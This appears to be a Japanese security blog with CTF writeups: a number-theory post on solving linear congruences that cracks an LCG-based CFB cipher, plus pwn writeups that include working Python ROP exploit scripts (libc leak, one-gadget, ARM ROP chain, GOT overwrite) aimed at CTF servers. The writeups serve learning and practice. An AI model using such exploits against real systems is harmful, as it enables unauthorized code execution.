2020-01-06

一次合同方程式を解く

はじめに

CTFで暗号の問題をやっているとよく出くわす概念に合同式があるのですが方程式の形で与えられることは少ない上に、解こうとしても特殊な場合(解きやすい)が多く、一般化について考えたことがありませんでした。というわけで今回は一次合同方程式を考察し、そのソルバを実装して実際にCTFで出た問題を解くところまでやろうと思います。
高校レベルの整数論以外の前提知識として不定方程式 $ax + by = \mathrm{GCD}(a, b)$ が可解であることとこれの解の導出(拡張Euclid互除法)がありますが、実装に関しては後者だけ知っていれば問題ありません。

一次合同方程式

今回扱うのは $ax \equiv b \mod n$ の形の合同方程式になります。整数 $a,b,n$ に対し、 $ax$ を $n$ で割った余りが $b$ となる $x$ を求めるというものです。まず最初に方程式が解けるかどうかを考察し、次にその解の個数と求め方を示します。

解の存在

次の2通りに分けて可解かどうかを調べます。なお、 $\mathrm{GCD}(a, b)$ は $a,b$ の最大公約数を示します。

$\mathrm{GCD}(a, n) = 1$
$\mathrm{GCD}(a, n) > 1$

以下では $g := \mathrm{GCD}(a,n)$ と定義します。

まず1. の場合ですが、 $a, n$ が互いに素であることから $ax + ny = 1$ に解が存在します(拡張Euclid互除法とその理論背景を参照)。これらを $x_0, y_0$ とおきます。つまり、 $ax_0 + ny_0 = 1$ です。これの両辺に $b$ を乗じて変形すると $a(bx_0) - b = (-by_0)n$ となるため、 $x := bx_0$ とおくことで $ax \equiv b \mod n$ となります。よって $n$ を法としてこれと合同な数は全て解となります。

続いて2. の場合ですが、 $b$ が $g$ の倍数である時とそうでない時を考えます。後者の場合に $ax \equiv b \mod n$ となる $x$ の存在を仮定すると $ax + ny = b$ となる整数 $x,y$ が存在します。しかし左辺が $g$ の倍数であるのに対し、左辺 $b$ は $g$ の倍数でないとしたので矛盾します。よって $b$ が $g$ の倍数でない時は解は存在しません。
前者の場合は1. 同様に $ax + ny = g$ の解が存在し $x_0, y_0$ すると、 $b = gb'$ とおくことで $x_0b', y_0b'$ が $ax + ny = b$ を満たすことから解が存在することがわかります。

以上より $b$ が $g$ の倍数であるなら解は存在することになります。

解の個数

では続いて $n$ を法として解の数が幾つあるかを考えます。存在性と同様、2つの場合に分けて考えます。

の場合、求められた解を $n$ を法として $x_0$ とおきます。ここでもう1つの解が存在するとして $x_1$ とします。それぞれ $ax_0 \equiv b \mod n, ax_1 \equiv b \mod n$ であることから2式の差をとると $a(x_0 - x_1) \equiv 0 \mod n$ となります。 $a,n$ は互いに素であることから $ax + ny = 1$ となる $x,y$ が存在し、したがって $ax \equiv 1 \mod n$ となります。この $x$ を $a^{-1}$ とおいて先程の2式の差をとった式の両辺にかけると $x_0 - x_1 \equiv 0 \mod n$ となることから $x_0 \equiv x_1 \mod n$ であるため解は結局1つになります。
の可解( $b$ が $g$ の倍数)の場合、 $ax \equiv b \mod n$ より、 $ax - b = ny$ となる整数 $y$ が存在します。これの両辺を $g$ で割ると $\frac ag x - \frac bg = \frac ng y$ となります。 $a,b,n$ はいずれも $g$ の倍数なのでこの式の分数部分は全て整数です。したがって $\frac ag x \equiv \frac bg \mod \frac ng$ が成り立ちます。なお、 $\frac ag x \equiv \frac bg \mod \frac ng$ が成り立つような $x$ はこの手順を逆に辿ることで $ax \equiv b \mod n$ が成り立つこともわかります。したがってこの2つの問題は法を無視して整数全体を見ると同一の解を持つことから $\frac ag x \equiv \frac bg \mod \frac ng$ の解を $n$ を法とするように拡張すれば $ax \equiv b \mod n$ の解となります。
$\frac ag x \equiv \frac bg \mod \frac ng$ が解け、 $\frac ng$ を法として解が1つになることは1. の場合をこの問題に適用できることから明らかです。この解を $x_0$ とします。これを法が $n$ の場合に拡張すると $x = x_0 + \frac ng t \lt n$ となる範囲で整数 $t$ を用いて表すことができます。この $t$ の範囲は $0 \leq t \leq g - 1$ であることから解の数は $g$ 個になります。

以上より $ax \equiv b \mod n$ の解は存在する場合は $g$ 個になります。

実装

↑の2つをそのまま実装します。なお、外部でEuclid互除法と拡張Euclid互除法は実装済みとします(それぞれgcd(a, b)とext_gcd(a, b))

# 可解性
def is_solvable(a, b, n):
    g = gcd(a, n)
    
    return (b % g) == 0


# 解が1つの場合
def solve_one(a, b, n):
    x_0, _ = ext_gcd(a, n)
    return (x_0 * b) % n


# 全ての解をリストにして返す
def solve(a, b, n):
    a, b = a % n, b % n
    if not is_solvable(a, b, n):
        return []
    ret = []
    g = gcd(a, n)

    _a, _b, _n = a // g, b // g, n // g
    _x = solve_one(_a, _b, _n)

    for i in range(g):
        ret.append(_x + _n * i)

    return ret

if __name__ == "__main__":
    print(solve(4, 8, 12))  # [2, 5, 8, 11]

Contrail CTF document_rescueのWriteup

これが解けると何が嬉しいのかというとなんとCTFで使えます。実はこれは半分本当で先日のCTFで出た問題が解けなかったので復習のために勉強してこの記事が生えたという経緯があります。詳しくは↓のWriteup記事の反省欄に書いたのでそちらを参照して欲しいのですが、ここでは先日行われたContrail CTFで出てきたdocument_resuceというCryptoの問題を今回のソルバを利用して解こうと思います。

xornet.hatenablog.com

この問題ではPDFをCFBモードで暗号化しています。その際の暗号化関数は線形合同法を利用しており、具体的には事前に用意された未知の鍵 $a,b$ を用いて暗号文ブロック $c_i$ と平文ブロック $p_i$ に対し $c_i = ((a + bc_{i-1}) \mod {2^{32}}) \oplus p_i$ としています。CFBモードなので最初のブロックのためのIVが与えられていますがこちらも鍵ファイル中に含まれているので不明です。以降この鍵を $a,b$ と表し、IVを $x$ とします。
ここでPDFはマジックナンバーが%PDFであることからある程度平文を予測できると考えられます。ソースコードを見ると頭8文字は%PDF-9.9としていたため次のような関係式が成り立ちます。

$(ax + b) \equiv p_0 \oplus c_0 \mod{2^{32}}$
$(ac_0 + b) \equiv p_1 \oplus c_1 \mod{2^{32}}$

但し、 $p_0$ は%PDFの16進表記で $p_1$ は%-9.9のそれです、pythonを使うとint.from_bytes(b, "big")の結果になります。これだけの情報では $a,b,x$ を特定するのは難しいのですがPDFのファイル終端が%EOFであることを利用できないか考えます。実際はパディングされているため平文の最終ブロックは確定しないのですが%EOF, EOF\x00, OF\x00\x00, F\x00\x00\x00の4つのうちいずれかになります。平文の最終ブロックを $p _ {-1}$ とおき、暗号文の末尾2ブロックは $c _ {-2}, c _ {-1}$ とすると合同方程式 $(ac _ {-2} + b) \mod{2^{32}} = p _ {-1} \oplus c _ {-1}$ が追加で得られます。改めて3つの式を並べると次のようになります。この3つの式を利用して $a,b,x$ を求めることを考えます。

$(ax + b) \equiv p_0 \oplus c_0 \mod{2^{32}}$
$(ac_0 + b) \equiv p_1 \oplus c_1 \mod{2^{32}}$
$(ac _ {-2} + b) \equiv p _ {-1} \oplus c _ {-1} \mod{2^{32}}$

このうち2つ目と3つ目の式の差をとると $a(c_0 - c _ {-2}) \equiv (p_1 \oplus c_1) - (p _ {-1} \oplus c _ {-1}) \mod{2^{32}}$ となります。これは $a$ を求める合同方程式のため、上のソルバを使って解くことが出来ます。実際の解の数は $\mathrm{GCD}(c_0 - c _ {-2}, 2^{32}) = 2$ であることから2つ存在し、 $p _ {-1}$ の候補が4つあることから掛け合わせて8通り考えることになります。このようにして求まった各 $a$ に対して2つ目の式、あるいは3つ目の式を利用すると $b$ が求まります。よって各 $a,b$ を1つ目の式に代入すると $x$ を求める合同方程式になることから同じくソルバを使って解くことができます。

この実行結果は最終的に11通り存在することからこれら全てのパラメータで復号を試みます。どのPDFも手元のビュアーでは読めなかったのですが、バイナリエディタで中身を見ると1つだけGreat! You have awesome programming skill and knowledge of CFB-mode encryption! Then let's find and use a tool to fix this corrupted header and try to see this PDF file's content :)という文字が現れるPDFが現れたためオンラインの修復ツールに投げたところ無事にPDFが開けてフラグが出てきました。

フラグはctrctf{f1l3_5truc7ur3_1nf0rm471on_4lw4ys_help_u}でした。

f:id:Xornet:20200106233826p:plain

使用したコードはこちらです↓

from math import ceil, floor


def gcd(a, b):
    if b == 0:
        return a

    return gcd(b, a % b)


def ext_gcd(a, b):
    if b == 1:
        return 0, 1

    q = a // b
    r = a % b

    next = ext_gcd(b, r)

    return next[1], next[0] - q * next[1]


def is_solvable(a, b, n):
    g = gcd(a, n)
    
    return (b % g) == 0


def solve_one(a, b, n):
    x_0, _ = ext_gcd(a, n)
    return (x_0 * b) % n


def solve(a, b, n):
    a, b = a % n, b % n
    if not is_solvable(a, b, n):
        return []
    ret = []
    g = gcd(a, n)

    _a, _b, _n = a // g, b // g, n // g
    _x = solve_one(_a, _b, _n)

    for i in range(g):
        ret.append(_x + _n * i)

    return ret


def to_num(b):
    return int.from_bytes(b, "big")


def decrypt(a, b, x):
    with open("flag.www", "rb") as f:
        cipher_raw = f.read()

    m = pow(2, 32)
    c = []
    index = 0
    while index + 4 <= len(cipher_raw):
        c.append(int.from_bytes(cipher_raw[index:index + 4], "big"))
        index += 4

    plain = []

    for i, _c in enumerate(c):
        if i != 0:
            plain.append(((c[i-1] * a + b) % m) ^ c[i])
        else:
            plain.append(((a * x + b) % m) ^ c[i])

    # print(plain[0].to_bytes(4, "big"))
    # print(plain[1].to_bytes(4, "big"))
    # print(plain[-1].to_bytes(4, "big"))

    f = open("flag-{}-{}-{}.pdf".format(a, b, x), "wb")
    for p in plain:
        f.write(p.to_bytes(4, "big"))

    f.close()


if __name__ == '__main__':
    with open("flag.www", "rb") as f:
        cipher_raw = f.read()

    c = []
    index = 0
    while index + 4 <= len(cipher_raw):
        c.append(int.from_bytes(cipher_raw[index:index + 4], "big"))
        index += 4

    plain = list(map(to_num, [b"%PDF", b"-9.9"]))
    hooter_candidates = list(
        map(to_num, [b"%EOF", b"EOF\x00", b"OF\x00\x00", b"F\x00\x00\x00"]))

    m = pow(2, 32)

    coef1 = (c[0] - c[-2]) % m
    g = gcd(coef1, m)

    print(g)

    abx_list = []

    for hooter in hooter_candidates:
        coef2 = ((plain[1] ^ c[1]) - (hooter ^ c[-1])) % m

        a_list = solve(coef1, coef2, m)

        for a in a_list:
            b = ((plain[1] ^ c[1]) - (c[0] * a)) % m

            x_list = solve(a, (plain[0]^c[0]) - b, m)

            for x in x_list:
                print("[+]: a, b, x -> %d %d %d" % (a, b, x))
                decrypt(a, b, x)

実行結果は次のようになります。ちなみにフラグが出てきた値はa, b, x = 2109834763, 3764688820, 268435455でした。

[+]: a, b, x -> 2134452074 854811907 92870375
[+]: a, b, x -> 2134452074 854811907 2240354023
[+]: a, b, x -> 4281935722 3002295555 92870375
[+]: a, b, x -> 4281935722 3002295555 2240354023
[+]: a, b, x -> 2109834763 3764688820 268435455
[+]: a, b, x -> 4257318411 1617205172 268435455
[+]: a, b, x -> 1049060107 1850361012 1270779903
[+]: a, b, x -> 3196543755 3997844660 1270779903
[+]: a, b, x -> 1202086667 2673427636 2381221887
[+]: a, b, x -> 3349570315 525943988 2381221887

あとがき

当日持っている整数論の知識で解けなくて物凄く悔しい思いをしたのでこのように解くことができて嬉しい一方で、z3のような優秀なソルバで解いてるWriteupが多く、そちらも習得しなくてはならないという気持ちにもなりました。弊チームに最近優秀な暗号担当が生えしばらく触れていませんでしたが、まだまだCrypto問題から学べることは多いので担当の低レイヤーを疎かにしない程度に頑張ろうと思います。
前回の復習記事ではあるものの、CTF関連の記事が続いているので次回も近いうちに真面目な記事が書けると嬉しいです。

参考文献

初等整数論講義/第1章/一次合同式 - Wikisource: 合同方程式に関する理論の参考文献
ContrailCTFで僕が出した問題の想定解法と裏話（今後MyInstructionsを追加します） - Battle for my life: document_rescueの作問者Writeup、z3を使用
ContrailCTF 2019のwriteup - Szarny.io: document_rescueを同じく整数論的に解いているWriteup、私のものより少ない候補で試していたので数字の出処が気になる

2020-01-04

【謹賀新年】Contrail CTF writeup

年始の挨拶

あけましておめでとうございます。読者の皆様の本年度が良い年になることを心からお祈りいたします。
ところで、正月なので(は?)CTFに出ました。今回の記事は年末の妄想を書き散らしたクソ記事とは異なりCTFのWriteupになります。新年最初をこのような真面目な記事に出来て嬉しいです。

Contrail CTF

CTFチームContrail様が主催するContrail CTFは2019/12/31 00:00から2020/1/4 00:00まで開催されました。私はチーム./Vespiaryで出場しrevを1問とpwnを2問(とDiscordにフラグが書いてある問題を)解いて9位/78チーム(1pt以上入れたチーム)でした。年末年始のクソ忙しい中でも途中で問題が生えていたりインフラの整備に奔走したりしていて運営の皆様の熱意が伝わってくるCTFでした。問題の難易度と質も良く楽しく取り組めたCTFでした。

解いた問題

Discord (Misc: 1pt)

自明フラグ問題、Discordに入るとフラグが書いてある、おわり

ctrctf{W3lc0m3_c0ntra1l_ctf_d1sc0rd}

DownloaderLog (Rev: 100pt)

pcapファイルが与えられhttp通信中のファイルを抽出するとバイナリとその引数に指定されたと思われるファイルが手に入る。このバイナリは最初の分岐(引数に指定したファイルの中身と現在時刻の差が6000s以内)を突破すると.dataセクションへ飛んで自己書き換えコード(指定された部分が0x19とXORされている)を実行し命令群として正常な形にしてから書き換えられた部分が実行される。本当は復元したバイナリを解析して解く予定だったのだが、stringsをかけたところ断片的にフラグが見えたのでそれを繋ぎ合わせたらフラグが入手できた。使用したコード(バイナリの書き換えと逆アセンブル)とstringsの結果は次の通り。

from elftools.elf.elffile import ELFFile
from capstone import Cs, CS_ARCH_X86, CS_MODE_64


if __name__ == "__main__":
    elf = ELFFile(open("exec_save", "rb"))

    data_bytes = elf.get_section_by_name(".data").data()

    base_addr = 0x601050
    start_addr = 0x6010d5
    end_addr = 0x60125a

    new_asm = b""
    for i, b in enumerate(data_bytes):
        addr = base_addr + i

        if start_addr <= addr < end_addr:
            new_asm += (b ^ 0x19).to_bytes(1, "big")
        else:
            new_asm += b.to_bytes(1, "big")

    print(new_asm)

    md = Cs(CS_ARCH_X86, CS_MODE_64)

    for mnemonic in md.disasm(new_asm, base_addr):
        print("{}: {} {}".format(hex(mnemonic.address), mnemonic.mnemonic, mnemonic.op_str))

    f = open("exec_edited", "rb")
    raw_data = f.read()
    f.close()

    f = open("exec_edited", "wb")

    start_offset = 4192
    j = 0
    write_b = 0x00
    for i, b in enumerate(raw_data):
        write_b = b
        if 4192 <= i < 4192 + end_addr - start_addr:
            write_b = new_asm[j]
            j += 1

        f.write(write_b.to_bytes(1, "little"))

    f.close()

$ strings exec_edited
(略)
4na1yst
Nice :) Flag is here
3inary_H
Zare_H
2{u_H
ctrctfH
pwoxup}9mpt|Fr|`9#d
(略)

これを見てフラグがctrctf{u_are_31nary_4na1yst}かなと思ったら当たってた(末尾に変な文字が入って無くて助かった…)。

Welcomechain (Pwn: 100pt)

pwnのWelcome問題その1(その2はEasyShellcodeだが別のpwn担当が解いた)。ROP"するだけ"という問題で例によってputs(func@GOT)を利用してlibcのアドレスをリークした後にret2mainしてOne Gadgetを刺す。

フラグはctrctf{W31c0m3!_c0ntr4i1_ctf_r3t2l1bc!}

exploitコードは次の通り

from pwn import *


if __name__ == "__main__":
    elf = ELF("welcomechain")
    libc = ELF("libc.so.6")

    context.binary = elf

    stack_size = 0x20
    junk = ("a" * (stack_size + 0x08)).encode()

    # addr
    puts_plt = 0x4005a0
    sleep_got = 0x601040
    ret_main = 0x400740

    # rop gadget
    gadget_1 = 0x400853  # pop rdi; ret

    # libc
    sleep_libc = libc.symbols["sleep"]
    print("[+] sleep@libc: {}".format(hex(sleep_libc)))
    one_gadget_libc = 0x4f2c5

    payload = junk + p64(gadget_1) + p64(sleep_got) + p64(puts_plt) + p64(ret_main)

    # s = process("./welcomechain")
    s = remote("114.177.250.4", 2226)

    while True:
        r = s.recv(4096)
        print(r)
        if b"Please Input : " in r:
            break

    s.sendline(payload)

    while True:
        r = s.recv(4096)
        print(r)
        if len(r) <= 8 and r != b"\n":
            raw_sleep_addr = r.split(b"\n")[0]
            while len(raw_sleep_addr) < 8:
                raw_sleep_addr += b"\x00"
            sleep_addr = u64(raw_sleep_addr)
            print("[+]: Sleep: {}".format(hex(sleep_addr)))
        if b"Please Input : " in r:
            break

    gadget_addr = sleep_addr - sleep_libc + one_gadget_libc
    print("[+] one gadget: {}".format(hex(gadget_addr)))
    payload = junk + p64(gadget_addr)

    s.sendline(payload)

    while True:
        r = s.recv(4096)
        print(r)
        if b"Your input" in r:
            break

    s.interactive()

RaspiWorld (Pwn: 304pt)

ARMアーキテクチャのバイナリに対してROPをする問題。愛用しているROPgadget探索ツールであるrp++はARMに対応していないのでpwntoolsをインストールすると生えてくるROPgadgetコマンドを使用した。今回gadgetを使う上で悪用したARMの仕様は次の通り。

悪用したARMの仕様

第1〜第4引数はr0~r3レジスタを用いる、それ以上はスタックからpopする。
ripに相当するものはpcレジスタ
関数のreturnは実装に拠るがpcレジスタへ代入するかlrレジスタがリターンアドレス扱いになっているのでbx lr命令で飛ぶ
というわけでretの代わりになりそうなROP Gadgetはpop{..., pc}と...; bx lrである。ただし前者が単にスタックをいじるだけで済むのに対して後者は一度pop{..., lr}等でlrレジスタを調整する必要がある
アドレスを指定してデータを格納する命令はstr register1, [regsiter2]を利用する。これはregister1の値をregister2中のアドレスに格納する

これらの仕様によれば例えばopen("flag", 0)を実行するためには次のようなスタックの構成にする(事前にflagの文字列はバイナリ中に存在するものとする)。

open()のアドレス
open()から帰ってきた後に実行したいアドレス
gadget3 (pop {lr, pc}) のアドレス
0x0
gadget2 (pop {r1, pc}) のアドレス
"flag"文字列のあるアドレス
gadget1 (pop {r0, pc}) のアドレス

やっていることはpop {レジスタ, pc}といった命令を利用して引数をセットし、その都度pcもセットすることで次のgadgetへと繋げている。また、実装に拠るがopen()のような関数はbx lrを実行することでサブルーチンを抜けているのでlrにリターンアドレスを設定してから実行する必要がある。
これ以外に利用したgadgetはデータ格納命令strでバイナリ中にflagという文字を書き込むのに利用した。

実際に用いた手順は次の通り。
バイナリ中からexecveもsystemも見当たらなかったのでこれまでのpwn同様、ファイル名がflagのファイルを開くと推測、そこでROPによってopen("flag", 0) -> read(fd, buf, 0x100(適当なサイズ)) -> puts(buf)を実行することを考える。
strings 0.elf | grep flagを実行して調べると、バイナリ中にflag+終端文字で終わる部分は無さそうだったので自分で書き込み可能領域に書き込むことを考える。ARMではstr register1, [register2]という命令でregister1の値をregister2の値をアドレスとして解釈して格納できるためこれを利用する(なお、32bitなのでflag\0の5文字を書き込むためには2度str命令を経る必要があるが、実際では忘れておりたまたま.dataセクションが0クリアされていたので助かった)。
後は上で述べたような方法でROPチェーンを構成し望みどおりの操作を実行すると無事にflagファイルの中身を見ることができる。

フラグはctrctf{mu1tip13_plaf0rm3r}

使用したexploitコード(多分参加者の汚さランキングで1位)

from pwn import *


if __name__ == "__main__":
    elf = ELF("0.elf")
    context.binary = elf
    # s = process("./0.elf")
    s = remote("114.177.250.4", 7777)

    r = s.recv(4096)
    print(r)

    junk = b"aaaa" * 17

    # addr
    main = 0x104cc
    puts = 0x17148
    open_addr = 0x27480
    read_addr = 0x27510
    test_text = 0x6facc  # libc-start.c
    data = 0x95080

    # rop gadget
    gadget_1 = 0x25e1c  # pop {r0, r4, pc}
    gadget_2 = 0x6d108  # pop {r1, pc}
    gadget_3 = 0x10160  # pop {r3, pc}
    gadget_4 = 0x2842c  # str r0, [r2] ; pop {r4, pc}
    gadget_5 = 0x5b980  # str r2, [r3] ; pop {r4, pc}
    gadget_6 = 0x1df84  # str r3, [r4] ; pop {r4, pc}
    gadget_7 = 0x22e80  # pop {lr} ; bx r3
    gadget_8 = 0x6d078  # pop {r2, r3} ; bx lr


    write_flag = p32(gadget_1) + p32(data) + p32(data) + p32(gadget_3) + b"flag" + p32(gadget_6) + p32(data)

    payload = junk + write_flag + p32(gadget_1) + p32(data) + p32(data) + p32(gadget_2) + p32(0x0) + p32(gadget_3) + p32(open_addr) + p32(gadget_7) + p32(gadget_2) + p32(data + 5) + p32(gadget_8) + p32(0x100) + p32(0x100) + p32(data + 5) + p32(read_addr) + p32(0x114514) + p32(gadget_1) + p32(data + 5) + p32(data + 5) + p32(puts)

    s.sendline(payload)

    while True:
        r = s.recv(4096)
        print(r)
        if b"Welcome" in r:
            break

終わった後に色々な人のwriteup見たんですけどswi命令というのを使うと割り込んでシステムコールが吐けるらしい、帰省先から戻ったら検証します。

反省

まず問題自体の反省以前にCTF期間中に酒を飲むのをやめるべきでした。今回主催の中でも特に力を入れていたContrailの道路さんとは日頃仲良くさせていただいているので参加意思を強く表明していたのですが実際は実家に帰って酒と飯と惰眠を貪るだけの生活を送っており当初想定していた程は参加できませんでした。今年はCTF期間中は(できるだけ)酒を飲まないことを目標にしようと思います(こう見ると"低レベル"な目標ですね、Rev, pwnだけに)。

あとこれは今年のCTFへ挑む事自体の抱負ですが、"CTF期間中は(できるだけ)禁酒"
— Xornet (@Xornet_Euphoria) 2020年1月3日

あと最近、自分の粘り強く取り組む力が薄れていると感じています。CTF初陣となったangstrom CTF 2019は(暇なのもあって)問題に粘り強く取り組んでいたのですが最近はわからないと直ぐに問題を投げて別のことを始めたりしています。低レイヤー系の問題(特にRev)は根性でバイナリを読むことが正攻法にも関わらず、その複雑さを見て投げてしまうのは取れたかもしれない点数を逃してしまうという点で大問題ですし、何より自分の力になりません。メンバーが増えたり彼らが強くなったりして気が抜けているのもあり、この傾向が強くなってきたので禁酒すると共にまずはそこを直したいです。

問題への反省ですがまずForensicsに手も足も出なかったことが悔やまれます。最近出たCTFではDFIR系の問題が少なくVolatility等を使う機会に恵まれませんでした。そんな中今回のCTFでは本格的なDFIR系の問題が出題されており作問者様のWriteupを読んでも何がなんだかという感じでした。Alice's PasswordもSolved数だけ見れば行けそうな問題だったのに何も思いつかなかったのは私の知識, 技術, 経験の全てが不足していた結果です。

続いて唯一のCrypto問題であり、RaspiWorld以上の時間をかけて解けなかったdocument_rescueですが、こちらは思いついたのに想定解では無いと思ってスルーしたポイントが2点ありました。pdfのファイル形式絡みということでフッタ(%%EOF)にも注目する問題だったのですが、私は馬鹿なので一瞬思いついたものの"末尾だしヘッダまで遡って影響与えないだろ"とか思ってスルーしてしまいました。フッタ部分で追加の合同方程式が加わることはわかったのですがあろうことか既知の数字(暗号ブロックの一部)を未知数だと考えてしまい、制約も未知数も増えるから使えないとかいう意味不明な思考に至っていました。
その後鍵の総当りを試みたのですが数が多くて断念しました。これは実は先程のフッタを考慮した制約を入れると非常に少なくなり直ぐに解ける(らしい、帰省先から戻ったら検証します)のですがこれを入れなかったせいで"こんな膨大な数の総当りは無いだろう、きっと綺麗な解法(想定解が十分綺麗な解法です)があるのだろう"と考え一生存在しない解法を探してました。

結び

年始からCTFに参加できたので今年もこんな感じで色々なCTFに出ていけたらと思っています。特にRaspiWorldをなんとか解けたのは非常に良いスタートを切れたと思っているのでこの調子でpwnの勉強もいい感じに進めていきたいです。
改めましてこのような楽しいCTFを開催してくださったContrailの皆様ありがとうございました。
最後に、年末年始にも関わらず参加して多数のフラグを入れてくれた./Vespiaryのみんなもありがとうございました、今年も全力で寄生するのでよろしく。

2019-10-21

SECCON CTF Quals 2019参加記

久しぶりにCTF出ました(実家帰ってたりインターン行ってたりコンパイラ書いてたり競技プログラミングしてました)。
今回出たのは日本で一番大規模だと勝手に言われているSECCON CTF Quals 2019です。この記事はその参加記になります。

結果

先に結果だけ言うといつもどおり./Vespiaryで参加して37位でした。国内決勝は…~~ちょっと届かなそうな感じです~~出場できることになりました(大歓喜)。今回私が入れたフラグですが、0です。優秀なチームメイトの皆様ありがとうございました。

嬉しい誤算

今回私がゴミみたいなスコアになった理由ですが実力不足が9割、メンバー増加が1割ぐらいだと思っています。いつもの低レイヤー担当の友人だけでなく大学の友人と先月行ったインターンで出会った人とその友人の皆様が参加してくれました。
彼らが私がいつもやっているCryptoとMiscを真っ先にピックしてくれたので私は心置きなく前から気になっていたPwnに初挑戦することができました。
おまけに向こうは皆で知恵を出し合いながら解いておりWeb、Crypto、Miscに関しては順調に埋まっていました。本当に感謝です。

sum

私が挑戦したPwnはsumで最終的にスコアは289点でした。Pwnの高い壁であるHeapは出題されず脆弱性を見つけたら後はROPするだけという問題でした。Pwnの概念は多少知っていたので脆弱性を見つけてから(正確にはいつもの低レイヤー担当から助言してもらった)libcのベースアドレスをリークさせるROPチェーンを組むとこまではできました。問題はここからでPwnをしてるかアセンブリの仕様を知らないと原因がわからないｾｸﾞﾌｫを吐かれ(原因は判明したので後述)どちらも満たさない私は結局解き切ることができませんでした。
SECCON終了後に他のPwnをしていた低レイヤー担当に聞いて原因が判明し競技終了後に無事に解くことができたので今回は解けなかった問題のWriteupを書こうと思います。

攻略手順

与えられたバイナリですが想定としては4つまでの0でない数字を入力し(scanf)、最後に0を入れることで0でない数字の総和を表示するプログラムです。しかしこの入力は実は6回(5回目で0を入力せず、6回目の入力終了後にmainに返る)できます。scanfに書き込み先として渡すアドレスですがmain関数のローカル変数を1つ指定しそこから8バイトずつ加算していく仕組みです。main関数のlocal変数は当然スタックに用意されているのでスタックのある位置からrbpへ向かって順に書き込まれていきます。都合の良いことにこの中にはポインタとして想定されるものがあります。そして総和はその変数で示したポインタに入ります。したがってポインタで指定したアドレスに数字の総和が入ることになり、任意アドレスに書き込みすることができます。
ところでこの総和を計算しアドレスに格納する処理はsumという関数で行われています。この返り値は総和計算に用いた数字の個数でmain関数ではこれが5より大きければexit(-1)して終わるという仕組みになっています。
任意書き込みとこの分岐を利用するとexitのGOTを書き換えてしまえば好きなところに飛ばすことができます。
例によってOneGadgetをここに設定したいのですがまずはlibcのアドレスをリークしなくてはならないので次のようにスタックを構成します

rbp - 0x18: 0x601048(exitのGOTのアドレス)
rbp - 0x20: sumで足し合わせた結果が0x400a42(pop r15;ret)になるように調整
rbp - 0x28: 0x400904(mainのアドレス, 先頭に飛ばすとアライメント違反(後述)するので位置を工夫する必要がある)
rbp - 0x30: 0x400600(putsのplt, 引数(rbp-0x38)に何らかの関数のGOTを指定してlibcのアドレスをリークさせる)
rbp - 0x38: 何らかのGOT(mainで使用されている関数は使えない、またprintfは呼ばれていないため使えない, 今回はalarmを利用)
rbp - 0x40: 0x400a43(pop rdi; ret)
(ここに``call exitした際のripがリターンアドレスとして積まれ、pop r15; retのGadgetによって破棄される)

これによりlibcのアドレスをリークした後に再びmainに戻ってきたのでもう一度任意アドレス書き換えを行ってOneGadgetに飛ばすスタックを構成します。下の図は空欄ですが合計がpop r15; retになるように適当にとります)

rbp - 0x18: 0x601048(exitのGOTのアドレス)
rbp - 0x20: 
rbp - 0x28: 
rbp - 0x30: 
rbp - 0x38: 
rbp - 0x40: OneGadgetのアドレス

こうして無事にOneGadgetに飛ぶことができました、めでたしめでたし

使用コード(pwntoolsで書き直したら追記します)

import socket, time, struct, telnetlib
 
 
if __name__ == '__main__':
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('sum.chal.seccon.jp', 10001))
    time.sleep(1)
    print(s.recv(1000))
 
    gadget_1 = 0x400a42
 
    rbp_18 = 0x601048  # exit@got
    rbp_28 = 0x400904  # main+1
    rbp_30 = 0x400600  # puts@plt
    rbp_38 = 0x601030  # alarm@got
    rbp_40 = 0x400a43  # gadget
 
    rbp_20 = gadget_1 - rbp_18 - rbp_28 - rbp_30 - rbp_38 - rbp_40
 
    payload = (str(rbp_40) + " " + str(rbp_38) + " " + str(rbp_30) + " " + str(rbp_28) + " " + str(rbp_20) + " " + str(rbp_18)).encode()
 
    print(payload)
 
    s.sendall(payload + b'\n')
 
    time.sleep(1)
    d = s.recv(1000)
    print(d)
    ptr = struct.unpack('<Q', d.split(b'\n')[0].ljust(8, b'\0'))[0]
    print('alarm: %x'%ptr)
 
    alarm_libc = 0xe4840
    one_gadget = 0x4f322
 
    one_gadget_addr = ptr - alarm_libc + one_gadget
    print(one_gadget_addr)
 
    rbp_40 = one_gadget_addr
 
    # rbp_18 = rbp_18  # same value
    rbp_20 = gadget_1 - rbp_18 - rbp_28 - rbp_30 - rbp_38 - rbp_40
 
    payload = (str(rbp_40) + " " + str(rbp_38) + " " + str(rbp_30) + " " + str(rbp_28) + " " + str(rbp_20) + " " + str(rbp_18)).encode()
 
    s.sendall(payload + b'\n')
 
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

敗因と反省

いかにも上で上手くスタック構成しました～という感じに書いてますが本番中はmain+1(mov rbp, rsp)ではなくmainの先頭アドレス(push rbp)に戻っていました。これによってrspが16の倍数ではなくなってしまい、scanfのmovaps命令でアライメント違反を起こします。これによってｾｸﾞﾌｫを起こし詰まっていました。
結局終了後に低レイヤー担当に聞き、以前コンパイラを作成した時にそんな話をしていたのを思い出して原因は解決しました。また、この問題を解いた後に初めたROP EmporiumというサイトのBeginner's Guideにも書いてありました。
これはPwnをやる上では結構気にすることになるらしく競技プログラミングや再開したNo Man's Skyなんかに現を抜かさず少しでも勉強していれば防げた気がします。

結び

というわけでWriteupではなく参加記とタイトルに記した記事になりました。次回のCTFでは似たようなことを防ぐために座学だけでなく実際に問題を解いて経験値を貯めていこうと思っています(早速今週末にPwn1000本ノックを開催します、誰か教師役で来てください)。
ということを低レイヤー担当に言ったら「Pwnは俺がやるからお前はRevをやってくれ」と言われました、その次の週の週末でRev1000本ノックやります(多分)。
私の結果こそ奮いませんでしたがチームの成績は割と良く何より団体戦で楽しかったです、チームメイトの皆様、SECCON運営の皆様本当にありがとうございました。
ここまで読んでいただきありがとうございました、次回は"""Writeup"""記事を書けるように頑張ります。

Project Euphoria

移行しました -> https://project-euphoria.netlify.app/